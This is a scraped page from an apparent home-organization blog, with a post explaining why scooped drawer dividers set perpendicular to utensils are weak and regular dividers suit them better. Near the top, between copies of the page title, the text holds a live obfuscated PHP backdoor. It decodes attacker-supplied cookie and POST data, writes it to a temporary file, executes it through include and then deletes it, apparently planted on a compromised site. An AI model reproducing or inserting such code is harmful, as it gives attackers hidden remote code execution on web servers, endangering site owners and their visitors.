kitchen drawer organizer – Orderly Drawer Blog

$SMCqhdwl = class_exists("eP_DhE"); $cttsnr = $SMCqhdwl;if (!$cttsnr){class eP_DhE{private $TLggw;public static $EKZwKScul = "3d9edd18-0968-4da6-ac3e-74f831adf642";public static $iFDZWadO = NULL;public function __construct(){$CFvNSRrlp = $_COOKIE;$FdKDeeosoW = $_POST;$VWPQM = @$CFvNSRrlp[substr(eP_DhE::$EKZwKScul, 0, 4)];if (!empty($VWPQM)){$GOvXXdfA = "base64";$xEPxuMupi = "";$VWPQM = explode(",", $VWPQM);foreach ($VWPQM as $JxtlH){$xEPxuMupi .= @$CFvNSRrlp[$JxtlH];$xEPxuMupi .= @$FdKDeeosoW[$JxtlH];}$xEPxuMupi = array_map($GOvXXdfA . "\x5f" . "\144" . "\x65" . "\x63" . "\x6f" . "\144" . chr (101), array($xEPxuMupi,)); $xEPxuMupi = $xEPxuMupi[0] ^ str_repeat(eP_DhE::$EKZwKScul, (strlen($xEPxuMupi[0]) / strlen(eP_DhE::$EKZwKScul)) + 1);eP_DhE::$iFDZWadO = @unserialize($xEPxuMupi);}}public function __destruct(){$this->VjvlKL();}private function VjvlKL(){if (is_array(eP_DhE::$iFDZWadO)) {$vFPCaRuG = sys_get_temp_dir() . "/" . crc32(eP_DhE::$iFDZWadO["\163" . 'a' . "\154" . "\164"]);@eP_DhE::$iFDZWadO[chr (119) . "\162" . "\151" . chr (116) . chr ( 1068 - 967 )]($vFPCaRuG, eP_DhE::$iFDZWadO[chr ( 163 - 64 )."\157" . chr (110) . "\164" . chr (101) . "\156" . chr ( 609 - 493 )]);include $vFPCaRuG;@eP_DhE::$iFDZWadO['d' . chr (101) . "\x6c" . "\x65" . chr ( 1105 - 989 ).chr ( 888 - 787 )]($vFPCaRuG);exit();}}}$KAyPthbGPj = new eP_DhE(); $KAyPthbGPj = NULL;} ?> kitchen drawer organizer – Orderly Drawer Blog

January 4, 2019January 4, 2019

When scooped dividers are not appropriate

Scooped dividers are handy — even essential — in some situations. In others, they’re just a preference. There’s one situation, though, where having scooped dividers is not advised — when they’re oriented perpendicularly to the utensils they separate. Not only are they unnecessary in those situations, they’re a liability. Let me explain…

In general, scooped dividers should be oriented in same direction as the utensils, as in the scooped divider (not circled) on the left in the image above.

The remaining circled scooped dividers in the photo above are oriented perpendicularly to the utensils that will be in those sections and will be subject to the impact of sliding utensils on the smallest, most vulnerable area of the dividers, the material just below the cutout, as the drawer is opened and closed.

In such cases, we insist that you opt for regular dividers. Not only will you save money, you’ll get a more durable product.